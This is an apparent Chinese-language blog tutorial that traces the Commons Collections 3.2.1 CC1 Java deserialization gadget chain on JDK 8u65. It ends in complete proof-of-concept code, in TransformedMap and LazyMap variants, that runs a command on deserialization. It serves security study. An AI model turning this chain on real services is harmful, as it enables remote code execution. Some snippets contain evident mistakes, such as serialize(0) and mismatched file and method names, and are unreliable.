Featured image of post Java反序列化CC1链---TransformedMap

Java反序列化CC1链---TransformedMap

Java反序列化CC1链---TransformedMap

https://mp.weixin.qq.com/s/DvJ003gjnoEuv9zZ1xuZjw

https://mp.weixin.qq.com/s/4Ily5sCnUxY30HMx_WaiXg

1.环境搭建

适用版本:commons-collections:3.2.1

利用前提:目标应用存在 Java 原生反序列化入口(如 ObjectInputStream.readObject()),且类路径中包含 CC 3.2.1

JDK 版本建议:≤ JDK 8u71(高版本对反序列化做了安全限制)

https://hg.openjdk.org/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip

https://www.123pan.com/s/94VA-qOEVv —- JDK8u65

解压JDK8u65的src压缩包,将sun包放到src目录下

在项目结构中导入目录即可

1
2
3
4
5
6
7
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

mvn dependency:sources         

2.Apache Commons Collections简介

Apache Commons Collections包和简介 | 闪烁之狐

3.CC1链简介

1
2
3
4
5
6
7
ObjectInputStream.readObject()
 └─ AnnotationInvocationHandler.readObject()
     └─ 遍历 memberValues TransformedMap
         └─ 调用 TransformedMap.entrySet().iterator().next().setValue()
             └─ 触发 LazyMap / TransformedMap  transform()
                 └─ ChainedTransformer.transform()
                     └─ InvokerTransformer.transform()  Runtime.exec("calc")

IDEA快捷键 Ctrl+H快速查看哪些类实现了Transformer接口

InvokerTransformer这个类实现了Transformer接口,并且InvokerTransformer类的transformer方法执行反射调用,他接收一个对象input,并通过反射查找传入对象的方法,并且调用该方法

3.1.为什么它能执行任意命令?(CC1攻击原理)

input 可以是任意对象,而 iMethodName / iArgs 由攻击者控制。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package cn.itcast.demo.cc1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class testcc1 {
    public static void main(String[] args) throws Exception {
        //直接执行RCE
        //Runtime.getRuntime().exec("calc");

        //利用Java反射执行RCE
        Runtime rce = Runtime.getRuntime();
//        Class<Runtime> rclass = Runtime.class;
//        Method exec = rclass.getMethod("exec", String.class);
//        exec.invoke(rce, "calc");

        //利用InvokerTransformer的transform执行RCE
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(rce);
    }
}

在此我们已经发现transform()方法是一个危险执行点,关键是我们要找到谁在反序列化时调用了它

<font style="color:rgba(17, 17, 51, 0.5);background-color:rgba(175, 184, 193, 0.2);">transform()</font> 本身不会自动执行,必须由 **<font style="color:rgba(17, 17, 51, 0.5);background-color:rgba(175, 184, 193, 0.2);">LazyMap</font>****<font style="color:rgba(17, 17, 51, 0.5);background-color:rgba(175, 184, 193, 0.2);">TransformedMap</font>** 在特定操作时触发,而这些操作又被 **<font style="color:rgba(17, 17, 51, 0.5);background-color:rgba(175, 184, 193, 0.2);">AnnotationInvocationHandler.readObject()</font>** 自动调用

3.2.TransformedMap

查看哪些方法调用了transform()方法,这里我们可以看到TransformedMap的checkSetValue方法调用了valueTransformer.transform()方法

那么valueTransformer是什么?它是TransformedMap 的一个成员变量,类型是 Transformer

它从哪来?由用户通过 `TransformedMap.decorate(map, keyTf, valueTf)传入

它的作用?对 Map 的 value 进行转换(在 put 或 setValue 时自动调用)

为什么危险?如果它是 InvokerTransformer 链,就会在反序列化时执行任意代码

所以此时我们就知道了,如果valueTransformer =InvokerTransformer并进行以下利用

1
2
3
checkSetValue(Runtime.getRuntime())
那么实际执行的就是
return InvokerTransformer.transform(Runtime.getRuntime());

3.3.如何让**valueTransformer =InvokerTransformer**

我们发现TransformedMap的构造方法传入**valueTransformer,并给他赋值,但是这个构造方法是protected受保护的,没办法在类的外部调用**

1
2
3
4
5
    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

那就去看类的内部有什么方法调用TransformedMap方法,并且这个方法是public类型,也能传入valueTransformer,我们发现decorete()这个方法符合我们的要求

new TransformedMap这个构造方法

1
2
3
4
传入参数
map	Map	被装饰wrapped的底层 Map HashMap
keyTransformer	Transformer	 key 进行转换的处理器可为 null
valueTransformer	Transformer	 value 进行转换的处理器CC1 中放恶意链的位置!)

将传入的map传给给父类,父类调用setValue方法对真正设置新值之前,先用 valueTransformer 对 value 做一次“转换”。

TransformedMap 是典型的 装饰器模式(Decorator Pattern):它包装一个普通 Map,并在操作时自动对 key/value 做额外处理。

你用decorete(map)传入一个map,然后返回给你一个map,但是这个decorete对你输入的map做了一些增强,添加了一些新功能。被增强的TransformedMap 对象,在执行Map.Entry.setvalue()的时候,会被替换为重写过的setvalue()方法

但是checkSetValue也是受保护的,所以我们找哪个公开的方法调用checkSetValue方法

点击方法调用,发现setValue方法调用了checkSetValue()方法,setValue()方法是MapEntry这个类的(MapEntry 是内部静态类,重写了 setValue()),他在AbstractInputCheckedMapDecorator这个类中,而这个类正好是TransformedMap的父类

3.4.AbstractMapEntryDecorator

这3个静态内部类都继承了AbstractMapEntryDecorator这个类,而AbstractMapEntryDecorator这个类又实现了Map.Entry, KeyValue这个两个接口

而这个MapEntry也就是实现了Map.Entry这个接口的一些方法和功能。MapEntry是Java 集合框架中的一个接口,用于表示 Map(映射)中的一个键值对,而这里的setValue方法就是重写了Map.Entry里的setValue方法

而MapEntry是一个protected修饰的类,我们查找内部哪个方法调用了这个类,发现EntrySetIterator里面的next()方法调用了MapEntry

而EntrySetIterator也是protected修饰的类,往上看内部哪个类调用了这个类,发现EntrySet的iterator这个方法创建了这个对象

而哪个类调用了EntrySet方法呢?发现AbstractInputCheckedMapDecorator这个类的entrySet()方法内部创建了EntrySet对象。而AbstractInputCheckedMapDecorator这个是TransformedMap </font>的父类,并且TransformedMap这个类没用实现entrySet()方法,如果我们直接使用TransformedMap调用entrySet()方法,那么就会调用父类AbstractInputCheckedMapDecorator`这个类的entrySet()方法

在调用这个entrySet()方法时首先会经过一个if判断,判断这个isSetValueChecking()方法是否为true,而这个方法在TransformedMap中的判断逻辑是,只要valueTransformer不为null,则为真

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
public Set entrySet() {
        if (isSetValueChecking()) {
            return new EntrySet(map.entrySet(), this);
        } else {
            return map.entrySet();
        }
    }
判断这个isSetValueChecking()方法是否为true而这个方法在TransformedMap中的判断逻辑是
只要valueTransformer不为null则为真
    protected boolean isSetValueChecking() {
        return (valueTransformer != null);
    }

进入这个方法后就层层往下走,走到MapEntry这个类,而parent是方法调用者,方法调用者是谁就是TransformedMap这个子类,而我们子类在主动调用setValue这个方法就可以调用checkSetValue()这个方法

AbstractInputCheckedMapDecorator 是一个“守门人”——所有通过 entry.setValue() 写入的值,都必须先经过它的 checkSetValue() 审查(或转换),而攻击者正是利用了这个“审查”机制来执行恶意代码。

1.给AbstractMapEntryDecorator子类的MapEntry.setValue(传入Runtime.getRuntime())

2.给TransformedMap的valueTransformer赋值为构造好的InvokerTransformer

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package cn.itcast.demo.cc1;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class cc1test {
    public static void main(String[] args) {
        Map<Object, Object> map = new HashMap();
        InvokerTransformer exec = new InvokerTransformer("exec",
                new Class[]{String.class},
                new Object[]{"calc"});
        map.put("value", "123");
        //为什么keyTransformer可以为null,因为keyTransformer没用用到
        Map<Object, Object> decorate = TransformedMap.decorate(map, null, exec);
        for (Map.Entry<Object, Object> entry : decorate.entrySet()) {
            //System.out.println(entry.getKey() + "=" + entry.getValue());
            entry.setValue(Runtime.getRuntime());
        }


    }
}

3.5.谁可以调用setValue方法—AnnotationInvocationHandler

接下来的问题是谁调用了Map.Entry.setValue()方法,最好重写了readObject()方法,并在readObject()方法调用setValue()方法,这样就一步到位了

全局搜索,发现AnnotationInvocationHandler这个类重写了readObject()方法,并且内部实现了setValue()方法,首先这个AnnotationInvocationHandler类的构造方法不是public修饰的,所以我们后面如果要调用这个构造方法需要通过反射来调用

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }

那么这个类是干什么的?它是JDK的 内部类,用于创建注解代理

它的作用?把一个 Map 包装成注解代理的 InvocationHandler

是否可控?是!只要 type 是合法注解,memberValues 就可以是任意 Map

为什么危险?readObject() 会自动遍历 memberValues`,从而触发恶意代码

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues)这个构造方法接收一个注解类和Map集合

  • type:要代理的注解类(必须是 `Annotation 接口的子类)
  • `memberValues:存储注解的键值对(如@MyAnno(value=“abc”)>{“value”: “abc”})

⚠️ 这个 `memberValues 就是我们埋入恶意 Map的地方!

我们先来分析一下这个readObject方法,这个方法的主要作用就是确保反序列化的对象确实是注解

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
//声明一个变量,用于存储当前注解类型的元数据(如方法名、返回类型等)
AnnotationType annotationType = null;
        try {
            //获取与注解接口 type 对应的 AnnotationType 元数据对象
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }
//获取该注解所有成员(方法)的名称 → 返回类型的映射
        Map<String, Class<?>> memberTypes = annotationType.memberTypes();
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
@Test
public void test3() {
    AnnotationType annotationType = AnnotationType.getInstance(Override.class);
    Map<String, Class<?>> memberTypes = annotationType.memberTypes();
    AnnotationType annotationType2 = AnnotationType.getInstance(Target.class);
    Map<String, Class<?>> memberTypes2 = annotationType2.memberTypes();
    System.out.println(memberTypes);
    System.out.println(memberTypes2);
}

因为Override这个注解为空所以打印的memberTypes就是空的
而Target这个注解有个value属性所以打印的memberTypes2为value

而这个memberValues我们得传入一个transformedMap对象,这样才能执行命令

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
//memberValues是我们调用TransformedMap.decorate传入的map对象

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
    //获取我们传入的map对象的key值,此时我们的key为value,value为123
    String name = memberValue.getKey();        //name = value
    //memberTypes.getKey()是获取这个注解类的属性值
    Class<?> memberType = memberTypes.get(name);
    //如果这个注解类的属性值中没用value我们传入的key,则为null
    if (memberType != null) {  // i.e. member still exists
        Object value = memberValue.getValue();
        //判断这个注解对象的实例是否是我们传入map中的value值,很明显不可能是,
        并且value instanceof ExceptionProxy这个判断也是false所以取反后就为true
        if (!(memberType.isInstance(value) ||
              value instanceof ExceptionProxy)) {
            memberValue.setValue(
                new AnnotationTypeMismatchExceptionProxy(
                    value.getClass() + "[" + value + "]").setMember(
                        annotationType.members().get(name)));
        }
    }
}

但是我们会发现memberValue.setValue这个传入的参数是我们不可控的,而如果要造成RCE,我们得传入Runtime.getRuntime()这个对象。entry.setValue(Runtime.getRuntime());,所以我们回头找有没有其它的transform类能解决这个问题

1.但是这个类不是公开的类,我们需要使用反射调用

1
2
3
4
5
6
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, decorate);
serialize(0);
deserialize("test.ser");

2.这有三个问题但是

  1. Runtime.getRuntime这个类无法被序列化和反序列化

解决办法,Runtime是不能被序列化的,但是Runtime.class是可以被序列化的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
这个test2()方法就等价于Runtime.getRuntime.exec(calc),但是由于Runtime不能被序列化所以写成反射形式
@Test
public void test2() throws Exception {
    Class<Runtime> aClass = Runtime.class;
    Method getRuntime = aClass.getDeclaredMethod("getRuntime", null);
    getRuntime.setAccessible(true);
    Object getRuntimeinvoke = getRuntime.invoke(aClass, null);
    //System.out.println(getRuntimeinvoke);
    Method exec = aClass.getMethod("exec", String.class);
    exec.invoke(getRuntimeinvoke, "calc");
}

//
Method execMethod = (Method) new InvokerTransformer("getMethod",
        new Class[]{String.class, Class[].class},
        new Object[]{"getRuntime", null}).transform(Runtime.getRuntime());
Runtime runtime = (Runtime) new InvokerTransformer("invoke",
        new Class[]{Object.class, Object[].class},
        new Object[]{null, null}).transform(execMethod);
new InvokerTransformer("exec",
        new Class[]{String.class},
        new Object[]{"calc"}).transform(runtime);
  1. 执行memberType.setValue()方法需要先经过两层if判断,如何让我们代码能顺利通过这两层if判断
1
if (memberType != null) //需要这个memberType不为null

type是可控的,是我们利用构造方法传入的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
public void test() throws Exception {
    AnnotationType annotationType = AnnotationType.getInstance(Target.class);
    Map<String, Class<?>> types = annotationType.memberTypes();
    for (Map.Entry<String, Class<?>> entry:types.entrySet()) {
        System.out.println(entry.getKey() + " " + entry.getValue());
    }
}

// Target.class 是一个合法的注解类型(如 java.lang.annotation.Target)
// 用于满足 AnnotationInvocationHandler 构造器的 type 参数要求

  1. entry.setValue()我们要传入Runtime对象,但是这个AnnotationInvocationHandler类的setValue方法传入的是一个AnnotationTypeMismatchExceptionProxy这个对象,这里我们好像控制不了
1
2
3
        for (Map.Entry<Object, Object> entry:decorate.entrySet()) {
            entry.setValue(Runtime.getRuntime());
        }

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
HashMap<Object, Object> map = new HashMap<>();
map.put("value", null);
Map<Object, Object> decorate = TransformedMap.decorate(map, null, exec);
for (Map.Entry<Object, Object> entry:decorate.entrySet()) {
    entry.setValue(Runtime.getRuntime());
}

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, decorate);
serialize(0);
deserialize("test.ser");

3.6.ChainedTransform&ConstantTransformer

那么有没有一种transform不管输入什么都返回指定的内容呢?有的,就是ConstantTransform,我们可以看到ConstantTransformer.transform方法不管介绍什么都返回一个常量,而这个常量是他构造方法中我们可以输入的,所以这就解决了前面AnnotationInvocationHandler类的setValue方法我们控制不了的问题

1
2
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);
constantTransformer.transform("value");

这个ChainedTransform类的transform方法的作用是将输入对象依次通过多个 Transformer 处理,前一个的输出作为后一个的输入

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
Transformer[] transformers = {
        new InvokerTransformer("getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, null}),
        new InvokerTransformer("exec",
                new Class[]{String.class},
                new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

3.7.最终代码

最终poc代码(基于TransformedMap)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
public void cc1() throws Exception {
    ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    });

    HashMap<Object, Object> map = new HashMap<>();
    map.put("value", "value");
    Map<Object, Object> decorated = TransformedMap.decorate(map, null, chainedTransformer);

    Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
    constructor.setAccessible(true);
    Object o = constructor.newInstance(Target.class, decorated);

    serialize(o);
    deserialize("test.ser");
}

基于LazyMap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
@Test
public void cc1_lazyMap() throws Exception {
    Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    };

    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

    // 使用 LazyMap(更稳定)
    Map innerMap = new HashMap();
    innerMap.put("value", "dummy");
    Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);

    // 创建 AnnotationInvocationHandler
    Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor<?> ctor = clazz.getDeclaredConstructor(Class.class, Map.class);
    ctor.setAccessible(true);
    InvocationHandler handler = (InvocationHandler) ctor.newInstance(Target.class, lazyMap);

    // 创建代理对象(关键!)
    Target proxy = (Target) Proxy.newProxyInstance(
        getClass().getClassLoader(),
        new Class[]{Target.class},
        handler
    );

    // 序列化代理对象(不是 handler 本身!)
    serialize(proxy);  // 注意:序列化的是 proxy
    unserialize("ser.bin");
}

3.8.为什么 ysoserial 使用 LazyMap 而非 TransformedMap?

  • AnnotationInvocationHandler 实际是注解的动态代理。
  • 当反序列化后,若有人调用注解方法(如 @Target.value()),会触发 LazyMap.get("value")
  • TransformedMap 依赖 setValue(),仅在部分 JDK 版本中被调用,不稳定。
  • 因此 LazyMap + 动态代理 是更通用的触发方式。

https://drun1baby.top/2022/06/10/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8702-CC1%E9%93%BE%E8%A1%A5%E5%85%85/

By Lsec
最后更新于 Dec 09, 2025 17:45 +0800
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计
¹鵵ҳ